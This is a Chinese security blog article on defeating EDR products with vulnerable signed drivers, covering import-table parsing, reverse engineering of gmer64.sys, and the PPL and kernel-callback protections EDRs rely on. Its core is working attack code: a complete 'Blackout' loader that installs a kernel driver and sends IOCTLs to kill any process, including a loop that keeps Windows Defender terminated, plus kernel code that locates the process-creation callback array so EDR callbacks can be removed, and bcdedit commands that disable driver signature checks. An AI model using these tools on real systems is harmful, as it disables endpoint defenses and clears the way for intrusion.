免杀的艺术:浅谈驱动对抗EDR

admin 2024年3月19日02:20:20评论37 views字数 31755阅读105分51秒阅读模式

关注并星标🌟 一起学安全❤️

作者:coleak  

首发于公号:渗透测试安全攻防 

字数:29085

声明:仅供学习参考,请勿用作违法用途

前言:感谢北秋风清/myzxcg提供的学习思路

目录

  • 白驱动挖掘步骤

  • EDR进程保护

  • 白驱动kill EDR

  • 白驱动blind EDR

  • 后记

    • PP/PPL

    • IDA快捷键

    • x64/x86解析器区别

    • windbg常用命令

    • 驱动开发基础

    • 常用的回调注册

  • reference


白驱动挖掘步骤

1、查看导入表

#include <stdio.h>
#include <windows.h>

DWORD64 RvaToRwa(PIMAGE_NT_HEADERS pNtHeader, DWORD64 Rva)
{
    PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHeader);
    for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++)
    {
        //printf("%0x", pSectionHeader[i].VirtualAddress);
        DWORD64 SectionBeginRva = pSectionHeader[i].VirtualAddress;

        DWORD64 SectionEndRva = pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData;
        //printf("%0x,%0x", SectionBeginRva, SectionEndRva);
        if (Rva >= SectionBeginRva && Rva <= SectionEndRva)
        {
            DWORD64 Temp = Rva - SectionBeginRva;
            DWORD64 Rwa = Temp + pSectionHeader[i].PointerToRawData;
            return Rwa;
        }
    }

}
int main(int argc, char* argv[])
{
    HANDLE dll = CreateFileA("D:\c_project\dlltest\x64\Release\s.sys", GENERIC_READ, NULLNULL, OPEN_EXISTING, NULLNULL);
    DWORD64 dll_size = GetFileSize(dll, NULL);
    LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
    DWORD out_size = 0;
    ReadFile(dll, dll_bytes, dll_size, &out_size, NULL);

    // 解析dll
    PIMAGE_DOS_HEADER dosheaders = (PIMAGE_DOS_HEADER)dll_bytes;
    PIMAGE_NT_HEADERS64 ntheaders = (PIMAGE_NT_HEADERS)((DWORD64)dosheaders +dosheaders->e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR pIMAGE_IMPORT_DESCRIPTOR = (PIMAGE_IMPORT_DESCRIPTOR)
        ((DWORD64)RvaToRwa(ntheaders,ntheaders->OptionalHeader.DataDirectory[1].VirtualAddress) + (DWORD64)dosheaders);
    for (size_t i = 0; pIMAGE_IMPORT_DESCRIPTOR[i].Name != 0; i++)
    {
        char* dllName = (char*)(RvaToRwa(ntheaders, pIMAGE_IMPORT_DESCRIPTOR[i].Name) + (DWORD64)dosheaders);
        printf("%sn", dllName);

        PIMAGE_THUNK_DATA64 pIMAGE_THUNK_DATA = (PIMAGE_THUNK_DATA64)(RvaToRwa(ntheaders, pIMAGE_IMPORT_DESCRIPTOR[i].OriginalFirstThunk) + (DWORD64)dosheaders);
        for (size_t j = 0; pIMAGE_THUNK_DATA[j].u1.ForwarderString != 0; j++)
        {
            PIMAGE_IMPORT_BY_NAME FunName = (PIMAGE_IMPORT_BY_NAME)(RvaToRwa(ntheaders,
                (pIMAGE_THUNK_DATA[j].u1.ForwarderString)) + (DWORD64)dosheaders);

            printf("%sn", FunName->Name);

        }
        printf("nn");
    }
    system("pause");
    return 0;
}

2、查找调用api的位置

3、查看交叉引用Xrefs to

4、分析调用流程和判断条件

5、编写用户态代码进行通信

EDR进程保护

用户态的EDR 进程一般会将进程启动为PPL级别来保护自己避免被用户态程序篡改,这导致PPL进程只能从Windows内核中去终止。国内的杀软/EDR 用户态大多不是PPL 进程,但是它也可以通过内核回调对象实现对其用户态进程的保护,以达到相同的效果

杀软/EDR 的保护级别一般是PsProtectedsignerAntimalware-Light

阻止原理:

内核支持在当有进程试图打开或者复制特定对象类型的句柄时通知注册了回调的驱动程序。这里通过ObRegisterCallbacks() 来注册一个操作前回调函数。操作前回调是在实际的句柄创建/打开/复制操作完成之前被调用,这样我们就可以在当有进程打开指定进程句柄前,去除掉句柄中的PROCESS_TERMINATE 权限,使其返回的句柄没有杀死进程的权限。

关键代码

NTSTATUS status = ObRegisterCallbacks(&reg, &RegHandle);
OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID  RegistrationContext, POB_PRE_OPERATION_INFORMATION Info) {
 UNREFERENCED_PARAMETER(RegistrationContext);
 if (Info->KernelHandle)
  return OB_PREOP_SUCCESS;
 PEPROCESS process = (PEPROCESS)Info->Object;
 ULONG pid = PsGetProcessId(process);
 //是否匹配
 if (pid == ToProtectPid) {
  Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;
 }
 return OB_PREOP_SUCCESS;

//PROCESS_TERMINATE (0x0001)

这里&= ~很有意思,先将PROCESS_TERMINATE进行取反(1110)然后进行与运算,将最后一位置零取消关闭权限而不影响其他操作

使用ObRegisterCallbacks的驱动程序必须在链接时使用/integritycheck参数。

相关结构体

TerminateProcess

BOOL TerminateProcess(
  [in] HANDLE hProcess,
  [in] UINT   uExitCode
)
;

[in] hProcess
要终止的进程句柄。
句柄必须具有 PROCESS_TERMINATE 访问权限

OB_PRE_OPERATION_INFORMATION

POB_PRE_OPERATION_CALLBACK PobPreOperationCallback;

OB_PREOP_CALLBACK_STATUS PobPreOperationCallback(
  [in] PVOID RegistrationContext,
  [in] POB_PRE_OPERATION_INFORMATION OperationInformation
)

{...}

ObjectPreCallback returns an OB_PREOP_CALLBACK_STATUS value. Drivers must return OB_PREOP_SUCCESS.

_OB_PRE_OPERATION_INFORMATION

typedef struct _OB_PRE_OPERATION_INFORMATION {
  OB_OPERATION                 Operation;
  union {
    ULONG Flags;
    struct {
      ULONG KernelHandle : 1;
      ULONG Reserved : 31;
    };
  };
  PVOID                        Object;
  POBJECT_TYPE                 ObjectType;
  PVOID                        CallContext;
  POB_PRE_OPERATION_PARAMETERS Parameters;
} OB_PRE_OPERATION_INFORMATION, *POB_PRE_OPERATION_INFORMATION;

//Object指向作为句柄操作目标的进程或线程对象的指针。
//Parameters指向包含操作特定信息的 OB_PRE_OPERATION_PARAMETERS 联合的指针。

_OB_PRE_CREATE_HANDLE_INFORMATION

typedef struct _OB_PRE_CREATE_HANDLE_INFORMATION {
  ACCESS_MASK DesiredAccess;
  ACCESS_MASK OriginalDesiredAccess;
} OB_PRE_CREATE_HANDLE_INFORMATION, *POB_PRE_CREATE_HANDLE_INFORMATION;

//DesiredAccess:一个 ACCESS_MASK 值,该值指定要授予句柄的访问权限。 默认情况下,此成员等于 OriginalDesiredAccess,但 ObjectPreCallback 例程可以修改此值以限制授予的访问权限。

白驱动kill EDR

这里以gmer64.sys为例

解析导入表找到ZwTerminateProcess

查找调用ZwTerminateProcess的函数,查到sub_164C0 函数的参数是进程的PID

__int64 __fastcall sub_164C0(unsigned int a1)
ClientId.UniqueProcess 
= (HANDLE)a1;
v1 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId);
v2 = ZwTerminateProcess(ProcessHandle, 0);

CLIENT_ID

The CLIENT_ID structure contains identifiers of a process and a thread.
 typedef struct _CLIENT_ID {
   HANDLE UniqueProcess; //pid
   HANDLE UniqueThread; //tid
 } CLIENT_ID;

ZwOpenProcess

NTSYSAPI NTSTATUS ZwOpenProcess(
  [out]          PHANDLE            ProcessHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in]           POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PCLIENT_ID         ClientId
)
;

交叉引用查看函数的整个调用流

免杀的艺术:浅谈驱动对抗EDR


sub_12448(__int64 a1, IRP *a2)

v2 = sub_1132C{
           (__int64)CurrentStackLocation->FileObject,
           MasterIrp,
           CurrentStackLocation->Parameters.Create.Options,
           UserBuffer,
           CurrentStackLocation->Parameters.Read.Length,
           LowPart,
           p_IoStatus,
           a1);
}           
union{
    struct _IRP     *MasterIrp;
    __volatile LONG IrpCount;
    PVOID           SystemBuffer;
  } AssociatedIrp;

函数中发现MasterIrp被传给a2,这里其实是AssociatedIrp union 中变量偏移量相同,即MasterIrp和SystemBuffer共享同一个偏移量,所以这里其实传输的是SystemBuffer,也就是输入缓冲区的地址

代码调用过程

分析过程略,调用步骤如下

判断a6 == 0x9876C004 然后初始化一个dword_1C120值,不然就会返回0xC000000D 。所以这里先设置IOCTL 为0x9876C004 发送一次请求,然后再设置IOCTL为 0x9876C094 去kill 进程。

驱动通信

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>

#define INITIALIZE_IOCTL_CODE 0x9876C004

#define TERMINSTE_PROCESS_IOCTL_CODE 0x9876C094

BOOL
LoadDriver(
    char* driverPath
)

{
    SC_HANDLE hSCM, hService;
    const char* serviceName = "Blackout";

    // Open a handle to the SCM database
    hSCM = OpenSCManager(NULLNULL, SC_MANAGER_ALL_ACCESS);
    if (hSCM == NULL) {
        return (1);
    }

    // Check if the service already exists
    hService = OpenServiceA(hSCM, serviceName, SERVICE_ALL_ACCESS);
    if (hService != NULL)
    {
        printf("Service already exists.n");

        // Start the service if it's not running
        SERVICE_STATUS serviceStatus;
        if (!QueryServiceStatus(hService, &serviceStatus))
        {
            CloseServiceHandle(hService);
            CloseServiceHandle(hSCM);
            return (1);
        }

        if (serviceStatus.dwCurrentState == SERVICE_STOPPED)
        {
            if (!StartServiceA(hService, 0nullptr))
            {
                CloseServiceHandle(hService);
                CloseServiceHandle(hSCM);
                return (1);
            }

            printf("Starting service...n");
        }

        CloseServiceHandle(hService);
        CloseServiceHandle(hSCM);
        return (0);
    }

    // Create the service
    hService = CreateServiceA(
        hSCM,
        serviceName,
        serviceName,
        SERVICE_ALL_ACCESS,
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_IGNORE,
        driverPath,
        NULL,
        NULL,
        NULL,
        NULL,
        NULL
    );

    if (hService == NULL) {
        CloseServiceHandle(hSCM);
        return (1);
    }

    printf("Service created successfully.n");

    // Start the service
    if (!StartServiceA(hService, 0nullptr))
    {
        CloseServiceHandle(hService);
        CloseServiceHandle(hSCM);
        return (1);
    }

    printf("Starting service...n");

    CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);

    return (0);
}



BOOL
CheckProcess(
    DWORD pn)

{
    DWORD procId = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnap != INVALID_HANDLE_VALUE)
    {
        PROCESSENTRY32 pE;
        pE.dwSize = sizeof(pE);

        if (Process32First(hSnap, &pE))
        {
            if (!pE.th32ProcessID)
                Process32Next(hSnap, &pE);
            do
            {
                if (pE.th32ProcessID == pn)
                {
                    CloseHandle(hSnap);
                    return (1);
                }
            } while (Process32Next(hSnap, &pE));
        }
    }
    CloseHandle(hSnap);
    return (0);
}

DWORD
GetPID(
    LPCWSTR pn)

{
    DWORD procId = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnap != INVALID_HANDLE_VALUE)
    {
        PROCESSENTRY32 pE;
        pE.dwSize = sizeof(pE);

        if (Process32First(hSnap, &pE))
        {
            if (!pE.th32ProcessID)
                Process32Next(hSnap, &pE);
            do
            {
                if (!lstrcmpiW((LPCWSTR)pE.szExeFile, pn))
                {
                    procId = pE.th32ProcessID;
                    break;
                }
            } while (Process32Next(hSnap, &pE));
        }
    }
    CloseHandle(hSnap);
    return (procId);
}


int
main(
    int argc,
    char** argv
)
 
{

    if (argc != 3) {
        printf("Invalid number of arguments. Usage: Blackout.exe -p <process_id>n");
        return (-1);
    }

    if (strcmp(argv[1], "-p") != 0) {
        printf("Invalid argument. Usage: Blackout.exe -p <process_id>n");
        return (-1);
    }

    if (!CheckProcess(atoi(argv[2])))
    {
        printf("provided process id doesnt exist !!n");
        return (-1);
    }


    WIN32_FIND_DATAA fileData;
    HANDLE hFind;
    char FullDriverPath[MAX_PATH];
    BOOL once = 1;

    hFind = FindFirstFileA("Blackout.sys", &fileData);

    if (hFind != INVALID_HANDLE_VALUE) { // file is found
        if (GetFullPathNameA(fileData.cFileName, MAX_PATH, FullDriverPath, NULL) != 0) { // full path is found
            printf("driver path: %sn", FullDriverPath);
        }
        else {
            printf("path not found !!n");
            return(-1);
        }
    }
    else {
        printf("driver not found !!n");
        return(-1);
    }
    printf("Loading %s driver .. n", fileData.cFileName);

    if (LoadDriver(FullDriverPath))
    {
        printf("faild to load driver ,try to run the program as administrator!!n");
        return (-1);
    }

    printf("driver loaded successfully !!n");

    HANDLE hDevice = CreateFile(L"\\.\Blackout", GENERIC_WRITE | GENERIC_READ, 0NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open handle to driver !! ");
        return (-1);
    }

    DWORD bytesReturned = 0;
    DWORD input = atoi(argv[2]);
    DWORD output[2] = { 0 };
    DWORD outputSize = sizeof(output);

    BOOL result = DeviceIoControl(hDevice, INITIALIZE_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL);
    if (!result)
    {
        printf("faild to send initializing request %X !!n", INITIALIZE_IOCTL_CODE);
        return (-1);
    }

    printf("driver initialized %X !!n", INITIALIZE_IOCTL_CODE);

    if (GetPID(L"MsMpEng.exe") == input)
    {
        printf("Terminating Windows Defender ..nkeep the program running to prevent the service from restarting itn");
        while (0x1)
        {
            if (input = GetPID(L"MsMpEng.exe"))
            {
                if (!DeviceIoControl(hDevice, TERMINSTE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL))
                {
                    printf("DeviceIoControl failed. Error: %X !!n", GetLastError());
                    CloseHandle(hDevice);
                    return (-1);
                }
                if (once)
                {
                    printf("Defender Terminated ..n");
                    once = 0;
                }

            }

            Sleep(700);
        }
    }

    printf("terminating process !! n");

    result = DeviceIoControl(hDevice, TERMINSTE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL);

    if (!result)
    {
        printf("failed to terminate process: %X !!n", GetLastError());
        CloseHandle(hDevice);
        return (-1);
    }

    printf("process has been terminated!n");

    system("pause");

    CloseHandle(hDevice);

    return 0;
}

_WIN32_FIND_DATAA

typedef struct _WIN32_FIND_DATAA {
  DWORD    dwFileAttributes;
  FILETIME ftCreationTime;
  FILETIME ftLastAccessTime;
  FILETIME ftLastWriteTime;
  DWORD    nFileSizeHigh;
  DWORD    nFileSizeLow;
  DWORD    dwReserved0;
  DWORD    dwReserved1;
  CHAR     cFileName[MAX_PATH];
  CHAR     cAlternateFileName[14];
  DWORD    dwFileType; // Obsolete. Do not use.
  DWORD    dwCreatorType; // Obsolete. Do not use
  WORD     wFinderFlags; // Obsolete. Do not use
} WIN32_FIND_DATAA, *PWIN32_FIND_DATAA, *LPWIN32_FIND_DATAA;

DeviceIoControl

BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
)
;

白驱动blind EDR

常见写地址函数

MmCopyMemory

NTSTATUS MmCopyMemory(
  [in]  PVOID           TargetAddress,
  [in]  MM_COPY_ADDRESS SourceAddress,
  [in]  SIZE_T          NumberOfBytes,
  [in]  ULONG           Flags,
  [out] PSIZE_T         NumberOfBytesTransferred
)
;

memmove

void *memmove(void *str1, const void *str2, size_t n)

memcpy

void *memcpy(void *str1, const void *str2, size_t n)

windbg调试看一下PsSetCreateProcessNotifyRoutine函数原理

免杀的艺术:浅谈驱动对抗EDR


PsSetCreateProcessNotifyRoutine调用了PspSetCreateProcessNotifyRoutine 函数。继续反汇编PspSetCreateProcessNotifyRoutine发现此函数汇编指令lea将PspCreateProcessNotifyRoutine数组的地址保存到了R13寄存器中

PspCreateProcessNotifyRoutine是一个保存_EX_CALLBACK_ROUTINE_BLOCK的数组

_EX_CALLBACK_ROUTINE_BLOCK

typedef struct _EX_CALLBACK_ROUTINE_BLOCK {
    EX_RUNDOWN_REF RundownProtect;
    PEX_CALLBACK_FUNCTION Function;
    PVOID Context;
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;

该结构体前8位是EX_RUNDOWN_REF 结构,可以忽略,后面的PEX_CALLBACK_FUNCTION 就是回调函数的地址,因此我们将回调数组中的地址和 0xFFFFFFFFFFFFFFF8 执行逻辑 AND 操作

免杀的艺术:浅谈驱动对抗EDR


代码实现

CALL (0xE8),LEA (0x4C 0x8D 0x2D)

ULONG64 FindPspCreateProcessNotifyRoutine()
{
    LONG OffsetAddr = 0;
    ULONG64 i = 0;
    ULONG64 pCheckArea = 0;
    UNICODE_STRING unstrFunc;
 
    RtlInitUnicodeString(&unstrFunc, L"PsSetCreateProcessNotifyRoutine");
    //obtain the PsSetCreateProcessNotifyRoutine() function base address
    pCheckArea = (ULONG64)MmGetSystemRoutineAddress(&unstrFunc);
    KdPrint(("[+] PsSetCreateProcessNotifyRoutine is at address: %llx n", pCheckArea));
 
    //loop though the base address + 20 bytes and search for the right OPCODE (instruction)
    //we're looking for 0xE8 OPCODE which is the CALL instruction
    for (i = pCheckArea; i < pCheckArea + 20; i++)
    {
        if ((*(PUCHAR)i == OPCODE_PSP[g_WindowsIndex]))
        {
            OffsetAddr = 0;
 
            //copy 4 bytes after CALL (0xE8) instruction, the 4 bytes contain the relative offset to the PspSetCreateProcessNotifyRoutine() function address
            memcpy(&OffsetAddr, (PUCHAR)(i + 1), 4);
            pCheckArea = pCheckArea + (i - pCheckArea) + OffsetAddr + 5;
            break;
        }
    }
 
    KdPrint(("[+] PspSetCreateProcessNotifyRoutine is at address: %llx n", pCheckArea));
     
    //loop through the PspSetCreateProcessNotifyRoutine base address + 0xFF bytes and search for the right OPCODES (instructions)
    //we're looking for 0x4C 0x8D 0x2D OPCODES which is the LEA, r13 instruction
    for (i = pCheckArea; i < pCheckArea + 0xff; i++)
    {
        if (*(PUCHAR)i == OPCODE_LEA_R13_1[g_WindowsIndex] && *(PUCHAR)(i + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] && *(PUCHAR)(i + 2) == OPCODE_LEA_R13_3[g_WindowsIndex])
        {
            OffsetAddr = 0;
            //copy 4 bytes after LEA, r13 (0x4C 0x8D 0x2D) instruction
            memcpy(&OffsetAddr, (PUCHAR)(i + 3), 4);
            //return the relative offset to the callback array
            return OffsetAddr + 7 + i;
        }
    }
 
    KdPrint(("[+] Returning from CreateProcessNotifyRoutine n"));
    return 0;
}

清除回调免杀测试

免杀的艺术:浅谈驱动对抗EDR


后记

PP/PPL

PL实际上是对以前的受保护进程模型的扩展,并添加了"保护级别" 的概念。进程的保护级别由该进程PE文件的签名级别决定。受保护的进程级别总是大于 PPL 进程,其次高价值的签名者进程可以访问低价值的进程,但反之则不然。

即:

  • PP 进程可以打开具有完全访问权限的 PP 或 PPL 进程,只要其签名者级别大于或等于;
  • 一个 PPL 进程可以打开另一个具有完全访问权限的 PPL 进程,只要其签名者级别大于或等于;
  • 无论签名者级别如何,PPL 进程都无法以完全访问权限打开 PP 进程。

IDA快捷键

1.shift+F12 查看string信息
2.Alt + T 查找带有目标字符串的函数
3. F5 查看 伪C代码
4. Ctrl + F 在函数框中搜索函数
5. 空格键 流程图与代码 来回切换
6.esc:回退键,能够倒回上一部操作的视图

x64/x86解析器区别

32位环境与64位最大的不同是存放数据地址的类型由DWORD变为ULONG64或者DWORD64(推荐)
另外32位和64位的某些结构体也不相同.这里windows通过宏定义解决
例如:
IMAGE_NT_HEADERS64   
IMAGE_NT_HEADERS32
PIMAGE_OPTIONAL_HEADER64   
PIMAGE_OPTIONAL_HEADER32
IMAGE_THUNK_DATA64
IMAGE_THUNK_DATA32

windbg常用命令

cmd bcdedit /debug on|off 可以开启(关闭)本地内核调试。
.cls 清空Command窗口中的内容
lm 查看模块信息
!dlls 查看dll信息
.process 显示当前进程信息
.thread 显示当前线程信息
!peb 显示进程环境块信息
!teb 显示线程环境块信息
!address -summary 显示内容地址摘要信息
q 结束调试会话,同时终止被调试进程的进行
.restart 重启被调试应用
ld * 加载所有模块的符号
x *! 列出所有模块
x ntdll!* 列出 ntdll 模块
.tlist 显示当前所有进程
~ 显示线程信息
~* k 显示所有线程的调用栈
内存区域转储:dds是四字节视为一个符号,dqs是每8字节视为一个符号,dps是根据当前处理器架构来选择最合适的长度
function:展示函数汇编代码
u:当前函数的下一个地址

驱动开发基础

驱动对象

0: kd> dt _DRIVER_OBJECT
nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT //驱动程序创建的第一个设备对象,通过它可以遍历驱动对象里的所有设备对象。
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void    //对应LDR_DATA_TABLE_ENTRY结构体,双向链表。可通过DriverSection链表遍历系统模块
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING  //驱动程序的名称,一般为"DriverDriverName"
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING //设备的硬件数据库键名,一般为"RegistryMachineHardwareDescriptionSystem"
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH //文件驱动中用到的派遣函数
   +0x02c DriverInit       : Ptr32     long   //指向DriverEntry函数,这是通过IO管理器来建立的
   +0x030 DriverStartIo    : Ptr32     void   //记录StartIO的函数地址,用于串行化操作 
   +0x034 DriverUnload     : Ptr32     void   //驱动卸载例程
   +0x038 MajorFunction    : [28] Ptr32     long  //一个函数指针数组,数组中的每个成员记录着一个指针,每个指针指向一个IRP的派遣函数

设备对象

0:021> dt _DEVICE_OBJECT
ntdll!_DEVICE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 ReferenceCount   : Int4B     //引用计数
   +0x008 DriverObject     : Ptr32 _DRIVER_OBJECT //所属的驱动对象
   +0x00c NextDevice       : Ptr32 _DEVICE_OBJECT //指向下一个设备对象(设备链)
   +0x010 AttachedDevice   : Ptr32 _DEVICE_OBJECT //上一层的设备对象(设备栈)
   +0x014 CurrentIrp       : Ptr32 _IRP   //在使用StartIO例程时,指向当前IRP指针
   +0x018 Timer            : Ptr32 _IO_TIMER //计时器指针
   +0x01c Flags            : Uint4B    //一个32位的无符号整型,每一位由具体的含义
   +0x020 Characteristics  : Uint4B    //设备对象特性
   +0x024 Vpb              : Ptr32 _VPB
   +0x028 DeviceExtension  : Ptr32 Void   //设备的扩展对象,每个设备都会指定一个设备扩展对象,设备扩展对象记录的是设备自己特殊定义的结构体,也就是程序员自己定义的结构体。在驱动程序中,应尽量避免全局变量,而改用设备扩展
   +0x02c DeviceType       : Uint4B    //设备类型
   +0x030 StackSize        : Char    //在多层驱动的情况下,驱动与驱动之间会形成类似堆栈的结构,IRP会依次从最高层传递到最底层,StsckSize描述的就是这个层数
   +0x034 Queue            : <anonymous-tag> //IRP链表
   +0x05c AlignmentRequirement : Uint4B   //设备在大容量传输的时候,需要内存对齐,以保证传输速度
   +0x060 DeviceQueue      : _KDEVICE_QUEUE  //用来实现串行的IRP队列头
   +0x074 Dpc              : _KDPC    //延迟过程调用
   +0x094 ActiveThreadCount : Uint4B   //当前线程的数量
   +0x098 SecurityDescriptor : Ptr32 Void  //安全描述符表
   +0x09c DeviceLock       : _KEVENT   //设备锁
   +0x0ac SectorSize       : Uint2B
   +0x0ae Spare1           : Uint2B
   +0x0b0 DeviceObjectExtension : Ptr32 _DEVOBJ_EXTENSION //设备对象扩展
   +0x0b4 Reserved         : Ptr32 Void

IRP类型

IRP类型 来源
IRP_MJ_CREATE 创建设备,CreateFile会产生此IRP
IRP_MJ_CLOSE 关闭设备,CloseHandle会产生此IRP
IRP_MJ_CLEANUP 清除工作,CloseHandle会产生此IRP
IRP_MJ_DEVICE_CONTROL DeviceIoControl函数会产生此IRP
IRP_MJ_PNP 即插即用消息,NT驱动不支持此中IRP,只有WDM驱动才支持此中驱动
IRP_MJ_POWER 在操作系统处理电源消息时会产生此IRP
IRP_MJ_QUERY_INFORMATION 获取文件长度,GetFileSize会产生此IRP
IRP_MJ_READ 读取设备内容,ReadFile会产生此IRP
IRP_MJ_SET_INFORMATION 设置文件长度,SetFileSize
IRP_MJ_SHUTDOWN 关闭系统前会产生此IRP
IRP_MJ_SYSTEM_CONTROL 系统内部产生控制信息,蕾西与调用DeviceIoControl函数
IRP_MJ_WRITE 对设备进行WriteFile时会产生此IRP

IRP处理

NTSTATUS DispatchRoutin(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
 NTSTATUS Status = STATUS_SUCCESS;
 Irp->IoStatus.Information = 0;    //设置IRP操作了多少字节
 Irp->IoStatus.Status = STATUS_SUCCESS;  //设置IRP的完成状态
 IoCompleteRequest(Irp, IO_NO_INCREMENT); //结束IRP请求
 return Status;
}

IRP结构

typedef struct _IRP {
  CSHORT                    Type;
  USHORT                    Size;
  PMDL                      MdlAddress;
  ULONG                     Flags;
  union {
    struct _IRP     *MasterIrp;
    __volatile LONG IrpCount;
    PVOID           SystemBuffer;
  } AssociatedIrp;
  LIST_ENTRY                ThreadListEntry;
  IO_STATUS_BLOCK           IoStatus;
  KPROCESSOR_MODE           RequestorMode;
  BOOLEAN                   PendingReturned;
  CHAR                      StackCount;
  CHAR                      CurrentLocation;
  BOOLEAN                   Cancel;
  KIRQL                     CancelIrql;
  CCHAR                     ApcEnvironment;
  UCHAR                     AllocationFlags;
  union {
    PIO_STATUS_BLOCK UserIosb;
    PVOID            IoRingContext;
  };
  PKEVENT                   UserEvent;
  union {
    struct {
      union {
        PIO_APC_ROUTINE UserApcRoutine;
        PVOID           IssuingProcess;
      };
      union {
        PVOID                 UserApcContext;
#if ...
        _IORING_OBJECT        *IoRing;
#else
        struct _IORING_OBJECT *IoRing;
#endif
      };
    } AsynchronousParameters;
    LARGE_INTEGER AllocationSize;
  } Overlay;
  __volatile PDRIVER_CANCEL CancelRoutine;
  PVOID                     UserBuffer;
  union {
    struct {
      union {
        KDEVICE_QUEUE_ENTRY DeviceQueueEntry;
        struct {
          PVOID DriverContext[4];
        };
      };
      PETHREAD     Thread;
      PCHAR        AuxiliaryBuffer;
      struct {
        LIST_ENTRY ListEntry;
        union {
          struct _IO_STACK_LOCATION *CurrentStackLocation;
          ULONG                     PacketType;
        };
      };
      PFILE_OBJECT OriginalFileObject;
    } Overlay;
    KAPC  Apc;
    PVOID CompletionKey;
  } Tail;
} IRP;

工作流程

以WriteFile函数为例:
1.用户程序调用WriteFile函数,WriteFile调用ntdll!NtWriteFile。
2.ntdll!NtWriteFile通过系统调用进入内核,调用SSDT中的系统服务NtWriteFile。
3.系统服务NtWriteFile创建 IRP_MJ_WRITE 类型的IRP,将其发送到某个驱动的派遣函数中,然后进入睡眠状态(等待一个事件)。
4.派遣函数通过调用 IoCompleteRequest 将IRP结束(函数内部设置事件),睡眠线程恢复运行。

驱动格式

#include <ntddk.h>
void DriverUnload(PDRIVER_OBJECT pDriverObject);
//入口函数,相当于main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath)
{
 DbgPrint(("DriverEntry okn"));
 NTSTATUS status = STATUS_SUCCESS;
 pDriverObject->DriverUnload = DriverUnload;
 return status;
}
//用于驱动程序卸载时执行
void DriverUnload(PDRIVER_OBJECT pDriverObject)
{
 UNREFERENCED_PARAMETER(pDriverObject);
 DbgPrint(("DriverUnload okn"));
 return;
}

加载方式

#本机打开测试签名模式,并重启
bcdedit /set testsigning on
#关闭驱动数字证书检测
bcdedit /set nointegritychecks on 
#安装驱动
sc create DriverTest type= kernel start= demand binPath= "C:securitytmpdri1.sys"
#加载驱动
sc start DriverTest
#关闭驱动
sc stop DriverTest
#卸载驱动
sc delete DriverTest

内核/用户通信

EDR.sys

#include <ntddk.h>

typedef struct {

 ULONG ThreadId;
 ULONG Create_ProcessId;
 ULONG Belong_ProcessId;

}ThreadData;
typedef struct {
 LIST_ENTRY Entry;
 ThreadData Data;
}Item;

typedef struct {
 FAST_MUTEX Mutex;
 ULONG ItemCount;
 LIST_ENTRY Header;
}Global;//全局变量
Global global;
void DriverUnload(PDRIVER_OBJECT pDriverObject);
void ThreadNotify(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create);
NTSTATUS DispatchFuncRead(PDEVICE_OBJECT DeviceObject, PIRP Irp);
NTSTATUS DispatchFuncDefault(PDEVICE_OBJECT DeviceObject, PIRP Irp);
void PushItem(LIST_ENTRY* entry);
//入口函数,相当于main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath)
{
 UNREFERENCED_PARAMETER(pRegPath);
 UNICODE_STRING DevName = RTL_CONSTANT_STRING(L"\Device\RemoteThreadDev");
 //创建设备对象
 PDEVICE_OBJECT DeviceObject;
 NTSTATUS status = IoCreateDevice(pDriverObject, 0, &DevName, FILE_DEVICE_UNKNOWN, 00, &DeviceObject);
 if (!NT_SUCCESS(status)) {
  KdPrint(("设备对象创建失败 (0x%08X)n",status));
  return status;
 }
 DeviceObject->Flags |= DO_DIRECT_IO;
 //提供符号链接使得设备能够被用户态的调用者访问
 //下面创建了一个符号链接并将其与我们的设备对象连接起来
 UNICODE_STRING SymbolicLink = RTL_CONSTANT_STRING(L"\??\RemoteThreadCheck");
